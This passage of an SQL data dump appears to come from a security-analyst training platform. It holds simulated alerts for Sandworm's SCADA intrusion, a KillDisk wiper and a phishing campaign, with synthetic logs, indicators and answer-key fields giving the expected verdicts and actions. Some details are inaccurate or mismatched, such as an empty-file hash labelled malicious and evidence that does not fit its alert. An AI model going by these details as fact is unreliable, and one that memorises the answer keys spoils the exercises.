2016\\\"},\\\"user\\\":{\\\"username\\\":\\\"admin_user\\\",\\\"domain\\\":\\\"CORPDOMAIN\\\"},\\\"process\\\":{\\\"name\\\":\\\"lsass.exe\\\",\\\"pid\\\":1040,\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\\\"},\\\"malware\\\":{\\\"name\\\":\\\"BlackEnergy\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.92.220.25\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":445},\\\"files\\\":[{\\\"filename\\\":\\\"dumped_creds.dmp\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumped_creds.dmp\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:30:22.429Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"hostname\\\":\\\"compromised-host\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"os\\\":\\\"Windows Server 2016\\\"},\\\"user\\\":{\\\"username\\\":\\\"admin_user\\\",\\\"domain\\\":\\\"CORPDOMAIN\\\"},\\\"process\\\":{\\\"name\\\":\\\"lsass.exe\\\",\\\"pid\\\":1040,\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\\\"},\\\"malware\\\":{\\\"name\\\":\\\"BlackEnergy\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.92.220.25\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":445},\\\"files\\\":[{\\\"filename\\\":\\\"dumped_creds.dmp\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumped_creds.dmp\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:29:22.429Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"hostname\\\":\\\"compromised-host\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"os\\\":\\\"Windows Server 2016\\\"},\\\"user\\\":{\\\"username\\\":\\\"admin_user\\\",\\\"domain\\\":\\\"CORPDOMAIN\\\"},\\\"process\\\":{\\\"name\\\":\\\"lsass.exe\\\",\\\"pid\\\":1040,\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\\\"},\\\"malware\\\":{\\\"name\\\":\\\"BlackEnergy\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.92.220.25\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":445},\\\"files\\\":[{\\\"filename\\\":\\\"dumped_creds.dmp\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumped_creds.dmp\\\"}]}\"},{\"timestamp\":\"2026-02-01T20:28:22.429Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"hostname\\\":\\\"compromised-host\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"os\\\":\\\"Windows Server 2016\\\"},\\\"user\\\":{\\\"username\\\":\\\"admin_user\\\",\\\"domain\\\":\\\"CORPDOMAIN\\\"},\\\"process\\\":{\\\"name\\\":\\\"lsass.exe\\\",\\\"pid\\\":1040,\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\\\"},\\\"malware\\\":{\\\"name\\\":\\\"BlackEnergy\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"185.92.220.25\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"port\\\":445},\\\"files\\\":[{\\\"filename\\\":\\\"dumped_creds.dmp\\\",\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dumped_creds.dmp\\\"}]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(782, 'Lateral Movement to SCADA Systems', 'critical', 'Network traffic analysis', 'With elevated privileges, Sandworm moved laterally across the network to access SCADA systems, setting the stage for the eventual power disruption.', 'Lateral Movement', 'T1570 - Lateral Tool Transfer', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:17Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.50\",\"external_ip\":\"203.0.113.45\",\"username\":\"j.doe\",\"accessed_system\":\"SCADA-Controller-01\",\"malware_filename\":\"olympic_destroyer.exe\",\"malware_hash\":\"3f5d1e7ccb4e7c8b8e77d8f7fbcf4f0d\",\"event\":\"Lateral movement detected\",\"protocol\":\"SMB\",\"action\":\"Access to SCADA systems\"}', '2026-01-11 23:37:37', '2026-02-16 18:01:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Critical SCADA system IP\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"public\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Sandworm activity\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"olympic_destroyer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Olympic Destroyer malware variant\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f5d1e7ccb4e7c8b8e77d8f7fbcf4f0d\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Olympic Destroyer malware hash\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(783, 'Deployment of KillDisk Wiper', 'critical', 'Disk forensics', 'In the final stage, Sandworm deployed KillDisk, a destructive wiper, on targeted systems. This attack erased crucial data, complicating recovery and prolonging the blackout.', 'Destructive Attack', 'T1485 - Data Destruction', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:32Z\",\"event_id\":\"wiper-attack-001\",\"source_ip\":\"185.92.220.45\",\"destination_ip\":\"192.168.1.45\",\"hash\":\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\",\"file_name\":\"killdisk.exe\",\"user_account\":\"admin_sandworm\",\"action\":\"file_deletion\",\"status\":\"success\",\"description\":\"KillDisk wiper executed and erased data on the targeted system.\"}', '2026-01-11 23:37:37', '2026-02-16 18:01:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Sandworm operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with KillDisk malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"killdisk.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable file used for data wiping.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_sandworm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised by Sandworm.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.431Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:32Z\\\",\\\"event_id\\\":\\\"wiper-attack-001\\\",\\\"source_ip\\\":\\\"185.92.220.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"hash\\\":\\\"2b8c8f8fd1b3f1a9b58c8d8a1b2f3a9f\\\",\\\"file_name\\\":\\\"killdisk.exe\\\",\\\"user_account\\\":\\\"admin_sandworm\\\",\\\"action\\\":\\\"file_deletion\\\",\\\"status\\\":\\\"success\\\",\\\"description\\\":\\\"KillDisk wiper executed and erased data on the targeted system.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(784, 'Phishing Campaign Detected', 'high', 'Email Gateway Logs', 'Deep Panda initiates the attack by sending spear-phishing emails to Anthem\'s IT administrators, aiming to harvest credentials and gain a foothold into the network.', 'Social Engineering', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"email_subject\":\"Urgent: Account Verification Required\",\"sender_email\":\"support@anthen-security.com\",\"recipient_email\":\"admin@anthem.com\",\"attachment_name\":\"Invoice_Details.doc\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"malicious_links\":[\"http://malicious-link.com/verify\"],\"attachment_action\":\"Downloaded\"}', '2026-01-11 23:42:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing IP associated with APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"support@anthen-security.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Spoofed email address used in phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious document\"}},{\"id\":\"artifact_5\",\"type\":\"url\",\"value\":\"http://malicious-link.com/verify\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Phishing URL used to collect credentials\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Campaign Detected\",\"date\":\"2026-02-01T20:32:22.432Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
